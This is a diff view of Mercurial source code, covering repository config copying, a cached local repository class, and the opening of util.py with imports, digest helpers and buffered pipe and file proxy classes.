1072 dst.setconfig("ui", o, v, 'copied')
1065 dst.setconfig("ui", o, v, 'copied')
1073
1066
1074 # copy bundle-specific options
1067 # copy bundle-specific options
1075 r = src.config('bundle', 'mainreporoot')
1068 r = src.config('bundle', 'mainreporoot')
1076 if r:
1069 if r:
1077 dst.setconfig('bundle', 'mainreporoot', r, 'copied')
1070 dst.setconfig('bundle', 'mainreporoot', r, 'copied')
1078
1071
1079 # copy selected local settings to the remote ui
1072 # copy selected local settings to the remote ui
1080 for sect in ('auth', 'hostfingerprints', 'hostsecurity', 'http_proxy'):
1073 for sect in ('auth', 'hostfingerprints', 'hostsecurity', 'http_proxy'):
1081 for key, val in src.configitems(sect):
1074 for key, val in src.configitems(sect):
1082 dst.setconfig(sect, key, val, 'copied')
1075 dst.setconfig(sect, key, val, 'copied')
1083 v = src.config('web', 'cacerts')
1076 v = src.config('web', 'cacerts')
1084 if v:
1077 if v:
1085 dst.setconfig('web', 'cacerts', util.expandpath(v), 'copied')
1078 dst.setconfig('web', 'cacerts', util.expandpath(v), 'copied')
1086
1079
1087 return dst
1080 return dst
1088
1081
1089 # Files of interest
1082 # Files of interest
1090 # Used to check if the repository has changed looking at mtime and size of
1083 # Used to check if the repository has changed looking at mtime and size of
1091 # these files.
1084 # these files.
1092 foi = [('spath', '00changelog.i'),
1085 foi = [('spath', '00changelog.i'),
1093 ('spath', 'phaseroots'), # ! phase can change content at the same size
1086 ('spath', 'phaseroots'), # ! phase can change content at the same size
1094 ('spath', 'obsstore'),
1087 ('spath', 'obsstore'),
1095 ('path', 'bookmarks'), # ! bookmark can change content at the same size
1088 ('path', 'bookmarks'), # ! bookmark can change content at the same size
1096 ]
1089 ]
1097
1090
1098 class cachedlocalrepo(object):
1091 class cachedlocalrepo(object):
1099 """Holds a localrepository that can be cached and reused."""
1092 """Holds a localrepository that can be cached and reused."""
1100
1093
1101 def __init__(self, repo):
1094 def __init__(self, repo):
1102 """Create a new cached repo from an existing repo.
1095 """Create a new cached repo from an existing repo.
1103
1096
1104 We assume the passed in repo was recently created. If the
1097 We assume the passed in repo was recently created. If the
1105 repo has changed between when it was created and when it was
1098 repo has changed between when it was created and when it was
1106 turned into a cache, it may not refresh properly.
1099 turned into a cache, it may not refresh properly.
1107 """
1100 """
1108 assert isinstance(repo, localrepo.localrepository)
1101 assert isinstance(repo, localrepo.localrepository)
1109 self._repo = repo
1102 self._repo = repo
1110 self._state, self.mtime = self._repostate()
1103 self._state, self.mtime = self._repostate()
1111 self._filtername = repo.filtername
1104 self._filtername = repo.filtername
1112
1105
1113 def fetch(self):
1106 def fetch(self):
1114 """Refresh (if necessary) and return a repository.
1107 """Refresh (if necessary) and return a repository.
1115
1108
1116 If the cached instance is out of date, it will be recreated
1109 If the cached instance is out of date, it will be recreated
1117 automatically and returned.
1110 automatically and returned.
1118
1111
1119 Returns a tuple of the repo and a boolean indicating whether a new
1112 Returns a tuple of the repo and a boolean indicating whether a new
1120 repo instance was created.
1113 repo instance was created.
1121 """
1114 """
1122 # We compare the mtimes and sizes of some well-known files to
1115 # We compare the mtimes and sizes of some well-known files to
1123 # determine if the repo changed. This is not precise, as mtimes
1116 # determine if the repo changed. This is not precise, as mtimes
1124 # are susceptible to clock skew and imprecise filesystems and
1117 # are susceptible to clock skew and imprecise filesystems and
1125 # file content can change while maintaining the same size.
1118 # file content can change while maintaining the same size.
1126
1119
1127 state, mtime = self._repostate()
1120 state, mtime = self._repostate()
1128 if state == self._state:
1121 if state == self._state:
1129 return self._repo, False
1122 return self._repo, False
1130
1123
1131 repo = repository(self._repo.baseui, self._repo.url())
1124 repo = repository(self._repo.baseui, self._repo.url())
1132 if self._filtername:
1125 if self._filtername:
1133 self._repo = repo.filtered(self._filtername)
1126 self._repo = repo.filtered(self._filtername)
1134 else:
1127 else:
1135 self._repo = repo.unfiltered()
1128 self._repo = repo.unfiltered()
1136 self._state = state
1129 self._state = state
1137 self.mtime = mtime
1130 self.mtime = mtime
1138
1131
1139 return self._repo, True
1132 return self._repo, True
1140
1133
1141 def _repostate(self):
1134 def _repostate(self):
1142 state = []
1135 state = []
1143 maxmtime = -1
1136 maxmtime = -1
1144 for attr, fname in foi:
1137 for attr, fname in foi:
1145 prefix = getattr(self._repo, attr)
1138 prefix = getattr(self._repo, attr)
1146 p = os.path.join(prefix, fname)
1139 p = os.path.join(prefix, fname)
1147 try:
1140 try:
1148 st = os.stat(p)
1141 st = os.stat(p)
1149 except OSError:
1142 except OSError:
1150 st = os.stat(prefix)
1143 st = os.stat(prefix)
1151 state.append((st[stat.ST_MTIME], st.st_size))
1144 state.append((st[stat.ST_MTIME], st.st_size))
1152 maxmtime = max(maxmtime, st[stat.ST_MTIME])
1145 maxmtime = max(maxmtime, st[stat.ST_MTIME])
1153
1146
1154 return tuple(state), maxmtime
1147 return tuple(state), maxmtime
1155
1148
1156 def copy(self):
1149 def copy(self):
1157 """Obtain a copy of this class instance.
1150 """Obtain a copy of this class instance.
1158
1151
1159 A new localrepository instance is obtained. The new instance should be
1152 A new localrepository instance is obtained. The new instance should be
1160 completely independent of the original.
1153 completely independent of the original.
1161 """
1154 """
1162 repo = repository(self._repo.baseui, self._repo.origroot)
1155 repo = repository(self._repo.baseui, self._repo.origroot)
1163 if self._filtername:
1156 if self._filtername:
1164 repo = repo.filtered(self._filtername)
1157 repo = repo.filtered(self._filtername)
1165 else:
1158 else:
1166 repo = repo.unfiltered()
1159 repo = repo.unfiltered()
1167 c = cachedlocalrepo(repo)
1160 c = cachedlocalrepo(repo)
1168 c._state = self._state
1161 c._state = self._state
1169 c.mtime = self.mtime
1162 c.mtime = self.mtime
1170 return c
1163 return c
@@ -1,3790 +1,3789 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import collections
20 import collections
21 import contextlib
21 import contextlib
22 import errno
22 import errno
23 import gc
23 import gc
24 import hashlib
24 import hashlib
25 import itertools
25 import itertools
26 import mmap
26 import mmap
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
31 import socket
32 import stat
32 import stat
33 import sys
33 import sys
34 import time
34 import time
35 import traceback
35 import traceback
36 import warnings
36 import warnings
37 import zlib
37 import zlib
38
38
39 from . import (
39 from . import (
40 encoding,
40 encoding,
41 error,
41 error,
42 i18n,
42 i18n,
43 node as nodemod,
43 node as nodemod,
44 policy,
44 policy,
45 pycompat,
45 pycompat,
46 urllibcompat,
46 urllibcompat,
47 )
47 )
48 from .utils import (
48 from .utils import (
49 procutil,
49 procutil,
50 stringutil,
50 stringutil,
51 )
51 )
52
52
53 base85 = policy.importmod(r'base85')
53 base85 = policy.importmod(r'base85')
54 osutil = policy.importmod(r'osutil')
54 osutil = policy.importmod(r'osutil')
55 parsers = policy.importmod(r'parsers')
55 parsers = policy.importmod(r'parsers')
56
56
57 b85decode = base85.b85decode
57 b85decode = base85.b85decode
58 b85encode = base85.b85encode
58 b85encode = base85.b85encode
59
59
60 cookielib = pycompat.cookielib
60 cookielib = pycompat.cookielib
61 httplib = pycompat.httplib
61 httplib = pycompat.httplib
62 pickle = pycompat.pickle
62 pickle = pycompat.pickle
63 safehasattr = pycompat.safehasattr
63 safehasattr = pycompat.safehasattr
64 socketserver = pycompat.socketserver
64 socketserver = pycompat.socketserver
65 bytesio = pycompat.bytesio
65 bytesio = pycompat.bytesio
66 # TODO deprecate stringio name, as it is a lie on Python 3.
66 # TODO deprecate stringio name, as it is a lie on Python 3.
67 stringio = bytesio
67 stringio = bytesio
68 xmlrpclib = pycompat.xmlrpclib
68 xmlrpclib = pycompat.xmlrpclib
69
69
70 httpserver = urllibcompat.httpserver
70 httpserver = urllibcompat.httpserver
71 urlerr = urllibcompat.urlerr
71 urlerr = urllibcompat.urlerr
72 urlreq = urllibcompat.urlreq
72 urlreq = urllibcompat.urlreq
73
73
74 # workaround for win32mbcs
74 # workaround for win32mbcs
75 _filenamebytestr = pycompat.bytestr
75 _filenamebytestr = pycompat.bytestr
76
76
77 if pycompat.iswindows:
77 if pycompat.iswindows:
78 from . import windows as platform
78 from . import windows as platform
79 else:
79 else:
80 from . import posix as platform
80 from . import posix as platform
81
81
82 _ = i18n._
82 _ = i18n._
83
83
84 bindunixsocket = platform.bindunixsocket
84 bindunixsocket = platform.bindunixsocket
85 cachestat = platform.cachestat
85 cachestat = platform.cachestat
86 checkexec = platform.checkexec
86 checkexec = platform.checkexec
87 checklink = platform.checklink
87 checklink = platform.checklink
88 copymode = platform.copymode
88 copymode = platform.copymode
89 expandglobs = platform.expandglobs
89 expandglobs = platform.expandglobs
90 getfsmountpoint = platform.getfsmountpoint
90 getfsmountpoint = platform.getfsmountpoint
91 getfstype = platform.getfstype
91 getfstype = platform.getfstype
92 groupmembers = platform.groupmembers
92 groupmembers = platform.groupmembers
93 groupname = platform.groupname
93 groupname = platform.groupname
94 isexec = platform.isexec
94 isexec = platform.isexec
95 isowner = platform.isowner
95 isowner = platform.isowner
96 listdir = osutil.listdir
96 listdir = osutil.listdir
97 localpath = platform.localpath
97 localpath = platform.localpath
98 lookupreg = platform.lookupreg
98 lookupreg = platform.lookupreg
99 makedir = platform.makedir
99 makedir = platform.makedir
100 nlinks = platform.nlinks
100 nlinks = platform.nlinks
101 normpath = platform.normpath
101 normpath = platform.normpath
102 normcase = platform.normcase
102 normcase = platform.normcase
103 normcasespec = platform.normcasespec
103 normcasespec = platform.normcasespec
104 normcasefallback = platform.normcasefallback
104 normcasefallback = platform.normcasefallback
105 openhardlinks = platform.openhardlinks
105 openhardlinks = platform.openhardlinks
106 oslink = platform.oslink
106 oslink = platform.oslink
107 parsepatchoutput = platform.parsepatchoutput
107 parsepatchoutput = platform.parsepatchoutput
108 pconvert = platform.pconvert
108 pconvert = platform.pconvert
109 poll = platform.poll
109 poll = platform.poll
110 posixfile = platform.posixfile
110 posixfile = platform.posixfile
111 rename = platform.rename
111 rename = platform.rename
112 removedirs = platform.removedirs
112 removedirs = platform.removedirs
113 samedevice = platform.samedevice
113 samedevice = platform.samedevice
114 samefile = platform.samefile
114 samefile = platform.samefile
115 samestat = platform.samestat
115 samestat = platform.samestat
116 setflags = platform.setflags
116 setflags = platform.setflags
117 split = platform.split
117 split = platform.split
118 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
118 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
119 statisexec = platform.statisexec
119 statisexec = platform.statisexec
120 statislink = platform.statislink
120 statislink = platform.statislink
121 umask = platform.umask
121 umask = platform.umask
122 unlink = platform.unlink
122 unlink = platform.unlink
123 username = platform.username
123 username = platform.username
124
124
125 try:
125 try:
126 recvfds = osutil.recvfds
126 recvfds = osutil.recvfds
127 except AttributeError:
127 except AttributeError:
128 pass
128 pass
129
129
130 # Python compatibility
130 # Python compatibility
131
131
132 _notset = object()
132 _notset = object()
133
133
134 def _rapply(f, xs):
134 def _rapply(f, xs):
135 if xs is None:
135 if xs is None:
136 # assume None means non-value of optional data
136 # assume None means non-value of optional data
137 return xs
137 return xs
138 if isinstance(xs, (list, set, tuple)):
138 if isinstance(xs, (list, set, tuple)):
139 return type(xs)(_rapply(f, x) for x in xs)
139 return type(xs)(_rapply(f, x) for x in xs)
140 if isinstance(xs, dict):
140 if isinstance(xs, dict):
141 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
141 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
142 return f(xs)
142 return f(xs)
143
143
144 def rapply(f, xs):
144 def rapply(f, xs):
145 """Apply function recursively to every item preserving the data structure
145 """Apply function recursively to every item preserving the data structure
146
146
147 >>> def f(x):
147 >>> def f(x):
148 ... return 'f(%s)' % x
148 ... return 'f(%s)' % x
149 >>> rapply(f, None) is None
149 >>> rapply(f, None) is None
150 True
150 True
151 >>> rapply(f, 'a')
151 >>> rapply(f, 'a')
152 'f(a)'
152 'f(a)'
153 >>> rapply(f, {'a'}) == {'f(a)'}
153 >>> rapply(f, {'a'}) == {'f(a)'}
154 True
154 True
155 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
155 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
156 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
156 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
157
157
158 >>> xs = [object()]
158 >>> xs = [object()]
159 >>> rapply(pycompat.identity, xs) is xs
159 >>> rapply(pycompat.identity, xs) is xs
160 True
160 True
161 """
161 """
162 if f is pycompat.identity:
162 if f is pycompat.identity:
163 # fast path mainly for py2
163 # fast path mainly for py2
164 return xs
164 return xs
165 return _rapply(f, xs)
165 return _rapply(f, xs)
166
166
167 def bitsfrom(container):
167 def bitsfrom(container):
168 bits = 0
168 bits = 0
169 for bit in container:
169 for bit in container:
170 bits |= bit
170 bits |= bit
171 return bits
171 return bits
172
172
173 # python 2.6 still have deprecation warning enabled by default. We do not want
173 # python 2.6 still have deprecation warning enabled by default. We do not want
174 # to display anything to standard user so detect if we are running test and
174 # to display anything to standard user so detect if we are running test and
175 # only use python deprecation warning in this case.
175 # only use python deprecation warning in this case.
176 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
176 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
177 if _dowarn:
177 if _dowarn:
178 # explicitly unfilter our warning for python 2.7
178 # explicitly unfilter our warning for python 2.7
179 #
179 #
180 # The option of setting PYTHONWARNINGS in the test runner was investigated.
180 # The option of setting PYTHONWARNINGS in the test runner was investigated.
181 # However, module name set through PYTHONWARNINGS was exactly matched, so
181 # However, module name set through PYTHONWARNINGS was exactly matched, so
182 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
182 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
183 # makes the whole PYTHONWARNINGS thing useless for our usecase.
183 # makes the whole PYTHONWARNINGS thing useless for our usecase.
184 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
184 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
185 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
185 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
186 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
186 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
187 if _dowarn and pycompat.ispy3:
187 if _dowarn and pycompat.ispy3:
188 # silence warning emitted by passing user string to re.sub()
188 # silence warning emitted by passing user string to re.sub()
189 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
189 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
190 r'mercurial')
190 r'mercurial')
191 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
191 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
192 DeprecationWarning, r'mercurial')
192 DeprecationWarning, r'mercurial')
193 # TODO: reinvent imp.is_frozen()
193 # TODO: reinvent imp.is_frozen()
194 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
194 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
195 DeprecationWarning, r'mercurial')
195 DeprecationWarning, r'mercurial')
196
196
197 def nouideprecwarn(msg, version, stacklevel=1):
197 def nouideprecwarn(msg, version, stacklevel=1):
198 """Issue an python native deprecation warning
198 """Issue an python native deprecation warning
199
199
200 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
200 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
201 """
201 """
202 if _dowarn:
202 if _dowarn:
203 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
203 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
204 " update your code.)") % version
204 " update your code.)") % version
205 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
205 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
206
206
207 DIGESTS = {
207 DIGESTS = {
208 'md5': hashlib.md5,
208 'md5': hashlib.md5,
209 'sha1': hashlib.sha1,
209 'sha1': hashlib.sha1,
210 'sha512': hashlib.sha512,
210 'sha512': hashlib.sha512,
211 }
211 }
212 # List of digest types from strongest to weakest
212 # List of digest types from strongest to weakest
213 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
213 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
214
214
215 for k in DIGESTS_BY_STRENGTH:
215 for k in DIGESTS_BY_STRENGTH:
216 assert k in DIGESTS
216 assert k in DIGESTS
217
217
218 class digester(object):
218 class digester(object):
219 """helper to compute digests.
219 """helper to compute digests.
220
220
221 This helper can be used to compute one or more digests given their name.
221 This helper can be used to compute one or more digests given their name.
222
222
223 >>> d = digester([b'md5', b'sha1'])
223 >>> d = digester([b'md5', b'sha1'])
224 >>> d.update(b'foo')
224 >>> d.update(b'foo')
225 >>> [k for k in sorted(d)]
225 >>> [k for k in sorted(d)]
226 ['md5', 'sha1']
226 ['md5', 'sha1']
227 >>> d[b'md5']
227 >>> d[b'md5']
228 'acbd18db4cc2f85cedef654fccc4a4d8'
228 'acbd18db4cc2f85cedef654fccc4a4d8'
229 >>> d[b'sha1']
229 >>> d[b'sha1']
230 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
230 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
231 >>> digester.preferred([b'md5', b'sha1'])
231 >>> digester.preferred([b'md5', b'sha1'])
232 'sha1'
232 'sha1'
233 """
233 """
234
234
235 def __init__(self, digests, s=''):
235 def __init__(self, digests, s=''):
236 self._hashes = {}
236 self._hashes = {}
237 for k in digests:
237 for k in digests:
238 if k not in DIGESTS:
238 if k not in DIGESTS:
239 raise error.Abort(_('unknown digest type: %s') % k)
239 raise error.Abort(_('unknown digest type: %s') % k)
240 self._hashes[k] = DIGESTS[k]()
240 self._hashes[k] = DIGESTS[k]()
241 if s:
241 if s:
242 self.update(s)
242 self.update(s)
243
243
244 def update(self, data):
244 def update(self, data):
245 for h in self._hashes.values():
245 for h in self._hashes.values():
246 h.update(data)
246 h.update(data)
247
247
248 def __getitem__(self, key):
248 def __getitem__(self, key):
249 if key not in DIGESTS:
249 if key not in DIGESTS:
250 raise error.Abort(_('unknown digest type: %s') % k)
250 raise error.Abort(_('unknown digest type: %s') % k)
251 return nodemod.hex(self._hashes[key].digest())
251 return nodemod.hex(self._hashes[key].digest())
252
252
253 def __iter__(self):
253 def __iter__(self):
254 return iter(self._hashes)
254 return iter(self._hashes)
255
255
256 @staticmethod
256 @staticmethod
257 def preferred(supported):
257 def preferred(supported):
258 """returns the strongest digest type in both supported and DIGESTS."""
258 """returns the strongest digest type in both supported and DIGESTS."""
259
259
260 for k in DIGESTS_BY_STRENGTH:
260 for k in DIGESTS_BY_STRENGTH:
261 if k in supported:
261 if k in supported:
262 return k
262 return k
263 return None
263 return None
264
264
265 class digestchecker(object):
265 class digestchecker(object):
266 """file handle wrapper that additionally checks content against a given
266 """file handle wrapper that additionally checks content against a given
267 size and digests.
267 size and digests.
268
268
269 d = digestchecker(fh, size, {'md5': '...'})
269 d = digestchecker(fh, size, {'md5': '...'})
270
270
271 When multiple digests are given, all of them are validated.
271 When multiple digests are given, all of them are validated.
272 """
272 """
273
273
274 def __init__(self, fh, size, digests):
274 def __init__(self, fh, size, digests):
275 self._fh = fh
275 self._fh = fh
276 self._size = size
276 self._size = size
277 self._got = 0
277 self._got = 0
278 self._digests = dict(digests)
278 self._digests = dict(digests)
279 self._digester = digester(self._digests.keys())
279 self._digester = digester(self._digests.keys())
280
280
281 def read(self, length=-1):
281 def read(self, length=-1):
282 content = self._fh.read(length)
282 content = self._fh.read(length)
283 self._digester.update(content)
283 self._digester.update(content)
284 self._got += len(content)
284 self._got += len(content)
285 return content
285 return content
286
286
287 def validate(self):
287 def validate(self):
288 if self._size != self._got:
288 if self._size != self._got:
289 raise error.Abort(_('size mismatch: expected %d, got %d') %
289 raise error.Abort(_('size mismatch: expected %d, got %d') %
290 (self._size, self._got))
290 (self._size, self._got))
291 for k, v in self._digests.items():
291 for k, v in self._digests.items():
292 if v != self._digester[k]:
292 if v != self._digester[k]:
293 # i18n: first parameter is a digest name
293 # i18n: first parameter is a digest name
294 raise error.Abort(_('%s mismatch: expected %s, got %s') %
294 raise error.Abort(_('%s mismatch: expected %s, got %s') %
295 (k, v, self._digester[k]))
295 (k, v, self._digester[k]))
296
296
297 try:
297 try:
298 buffer = buffer
298 buffer = buffer
299 except NameError:
299 except NameError:
300 def buffer(sliceable, offset=0, length=None):
300 def buffer(sliceable, offset=0, length=None):
301 if length is not None:
301 if length is not None:
302 return memoryview(sliceable)[offset:offset + length]
302 return memoryview(sliceable)[offset:offset + length]
303 return memoryview(sliceable)[offset:]
303 return memoryview(sliceable)[offset:]
304
304
305 _chunksize = 4096
305 _chunksize = 4096
306
306
307 class bufferedinputpipe(object):
307 class bufferedinputpipe(object):
308 """a manually buffered input pipe
308 """a manually buffered input pipe
309
309
310 Python will not let us use buffered IO and lazy reading with 'polling' at
310 Python will not let us use buffered IO and lazy reading with 'polling' at
311 the same time. We cannot probe the buffer state and select will not detect
311 the same time. We cannot probe the buffer state and select will not detect
312 that data are ready to read if they are already buffered.
312 that data are ready to read if they are already buffered.
313
313
314 This class let us work around that by implementing its own buffering
314 This class let us work around that by implementing its own buffering
315 (allowing efficient readline) while offering a way to know if the buffer is
315 (allowing efficient readline) while offering a way to know if the buffer is
316 empty from the output (allowing collaboration of the buffer with polling).
316 empty from the output (allowing collaboration of the buffer with polling).
317
317
318 This class lives in the 'util' module because it makes use of the 'os'
318 This class lives in the 'util' module because it makes use of the 'os'
319 module from the python stdlib.
319 module from the python stdlib.
320 """
320 """
321 def __new__(cls, fh):
321 def __new__(cls, fh):
322 # If we receive a fileobjectproxy, we need to use a variation of this
322 # If we receive a fileobjectproxy, we need to use a variation of this
323 # class that notifies observers about activity.
323 # class that notifies observers about activity.
324 if isinstance(fh, fileobjectproxy):
324 if isinstance(fh, fileobjectproxy):
325 cls = observedbufferedinputpipe
325 cls = observedbufferedinputpipe
326
326
327 return super(bufferedinputpipe, cls).__new__(cls)
327 return super(bufferedinputpipe, cls).__new__(cls)
328
328
329 def __init__(self, input):
329 def __init__(self, input):
330 self._input = input
330 self._input = input
331 self._buffer = []
331 self._buffer = []
332 self._eof = False
332 self._eof = False
333 self._lenbuf = 0
333 self._lenbuf = 0
334
334
335 @property
335 @property
336 def hasbuffer(self):
336 def hasbuffer(self):
337 """True is any data is currently buffered
337 """True is any data is currently buffered
338
338
339 This will be used externally a pre-step for polling IO. If there is
339 This will be used externally a pre-step for polling IO. If there is
340 already data then no polling should be set in place."""
340 already data then no polling should be set in place."""
341 return bool(self._buffer)
341 return bool(self._buffer)
342
342
343 @property
343 @property
344 def closed(self):
344 def closed(self):
345 return self._input.closed
345 return self._input.closed
346
346
347 def fileno(self):
347 def fileno(self):
348 return self._input.fileno()
348 return self._input.fileno()
349
349
350 def close(self):
350 def close(self):
351 return self._input.close()
351 return self._input.close()
352
352
353 def read(self, size):
353 def read(self, size):
354 while (not self._eof) and (self._lenbuf < size):
354 while (not self._eof) and (self._lenbuf < size):
355 self._fillbuffer()
355 self._fillbuffer()
356 return self._frombuffer(size)
356 return self._frombuffer(size)
357
357
358 def readline(self, *args, **kwargs):
358 def readline(self, *args, **kwargs):
359 if 1 < len(self._buffer):
359 if 1 < len(self._buffer):
360 # this should not happen because both read and readline end with a
360 # this should not happen because both read and readline end with a
361 # _frombuffer call that collapse it.
361 # _frombuffer call that collapse it.
362 self._buffer = [''.join(self._buffer)]
362 self._buffer = [''.join(self._buffer)]
363 self._lenbuf = len(self._buffer[0])
363 self._lenbuf = len(self._buffer[0])
364 lfi = -1
364 lfi = -1
365 if self._buffer:
365 if self._buffer:
366 lfi = self._buffer[-1].find('\n')
366 lfi = self._buffer[-1].find('\n')
367 while (not self._eof) and lfi < 0:
367 while (not self._eof) and lfi < 0:
368 self._fillbuffer()
368 self._fillbuffer()
369 if self._buffer:
369 if self._buffer:
370 lfi = self._buffer[-1].find('\n')
370 lfi = self._buffer[-1].find('\n')
371 size = lfi + 1
371 size = lfi + 1
372 if lfi < 0: # end of file
372 if lfi < 0: # end of file
373 size = self._lenbuf
373 size = self._lenbuf
374 elif 1 < len(self._buffer):
374 elif 1 < len(self._buffer):
375 # we need to take previous chunks into account
375 # we need to take previous chunks into account
376 size += self._lenbuf - len(self._buffer[-1])
376 size += self._lenbuf - len(self._buffer[-1])
377 return self._frombuffer(size)
377 return self._frombuffer(size)
378
378
379 def _frombuffer(self, size):
379 def _frombuffer(self, size):
380 """return at most 'size' data from the buffer
380 """return at most 'size' data from the buffer
381
381
382 The data are removed from the buffer."""
382 The data are removed from the buffer."""
383 if size == 0 or not self._buffer:
383 if size == 0 or not self._buffer:
384 return ''
384 return ''
385 buf = self._buffer[0]
385 buf = self._buffer[0]
386 if 1 < len(self._buffer):
386 if 1 < len(self._buffer):
387 buf = ''.join(self._buffer)
387 buf = ''.join(self._buffer)
388
388
389 data = buf[:size]
389 data = buf[:size]
390 buf = buf[len(data):]
390 buf = buf[len(data):]
391 if buf:
391 if buf:
392 self._buffer = [buf]
392 self._buffer = [buf]
393 self._lenbuf = len(buf)
393 self._lenbuf = len(buf)
394 else:
394 else:
395 self._buffer = []
395 self._buffer = []
396 self._lenbuf = 0
396 self._lenbuf = 0
397 return data
397 return data
398
398
399 def _fillbuffer(self):
399 def _fillbuffer(self):
400 """read data to the buffer"""
400 """read data to the buffer"""
401 data = os.read(self._input.fileno(), _chunksize)
401 data = os.read(self._input.fileno(), _chunksize)
402 if not data:
402 if not data:
403 self._eof = True
403 self._eof = True
404 else:
404 else:
405 self._lenbuf += len(data)
405 self._lenbuf += len(data)
406 self._buffer.append(data)
406 self._buffer.append(data)
407
407
408 return data
408 return data
409
409
410 def mmapread(fp):
410 def mmapread(fp):
411 try:
411 try:
412 fd = getattr(fp, 'fileno', lambda: fp)()
412 fd = getattr(fp, 'fileno', lambda: fp)()
413 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
413 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
414 except ValueError:
414 except ValueError:
415 # Empty files cannot be mmapped, but mmapread should still work. Check
415 # Empty files cannot be mmapped, but mmapread should still work. Check
416 # if the file is empty, and if so, return an empty buffer.
416 # if the file is empty, and if so, return an empty buffer.
417 if os.fstat(fd).st_size == 0:
417 if os.fstat(fd).st_size == 0:
418 return ''
418 return ''
419 raise
419 raise
420
420
421 class fileobjectproxy(object):
421 class fileobjectproxy(object):
422 """A proxy around file objects that tells a watcher when events occur.
422 """A proxy around file objects that tells a watcher when events occur.
423
423
424 This type is intended to only be used for testing purposes. Think hard
424 This type is intended to only be used for testing purposes. Think hard
425 before using it in important code.
425 before using it in important code.
426 """
426 """
427 __slots__ = (
427 __slots__ = (
428 r'_orig',
428 r'_orig',
429 r'_observer',
429 r'_observer',
430 )
430 )
431
431
432 def __init__(self, fh, observer):
432 def __init__(self, fh, observer):
433 object.__setattr__(self, r'_orig', fh)
433 object.__setattr__(self, r'_orig', fh)
434 object.__setattr__(self, r'_observer', observer)
434 object.__setattr__(self, r'_observer', observer)
435
435
436 def __getattribute__(self, name):
436 def __getattribute__(self, name):
437 ours = {
437 ours = {
438 r'_observer',
438 r'_observer',
439
439
440 # IOBase
440 # IOBase
441 r'close',
441 r'close',
442 # closed if a property
442 # closed if a property
443 r'fileno',
443 r'fileno',
444 r'flush',
444 r'flush',
445 r'isatty',
445 r'isatty',
446 r'readable',
446 r'readable',
447 r'readline',
447 r'readline',
448 r'readlines',
448 r'readlines',
449 r'seek',
449 r'seek',
450 r'seekable',
450 r'seekable',
451 r'tell',
451 r'tell',
452 r'truncate',
452 r'truncate',
453 r'writable',
453 r'writable',
454 r'writelines',
454 r'writelines',
455 # RawIOBase
455 # RawIOBase
456 r'read',
456 r'read',
457 r'readall',
457 r'readall',
458 r'readinto',
458 r'readinto',
459 r'write',
459 r'write',
460 # BufferedIOBase
460 # BufferedIOBase
461 # raw is a property
461 # raw is a property
462 r'detach',
462 r'detach',
463 # read defined above
463 # read defined above
464 r'read1',
464 r'read1',
465 # readinto defined above
465 # readinto defined above
466 # write defined above
466 # write defined above
467 }
467 }
468
468
469 # We only observe some methods.
469 # We only observe some methods.
470 if name in ours:
470 if name in ours:
471 return object.__getattribute__(self, name)
471 return object.__getattribute__(self, name)
472
472
473 return getattr(object.__getattribute__(self, r'_orig'), name)
473 return getattr(object.__getattribute__(self, r'_orig'), name)
474
474
475 def __nonzero__(self):
475 def __nonzero__(self):
476 return bool(object.__getattribute__(self, r'_orig'))
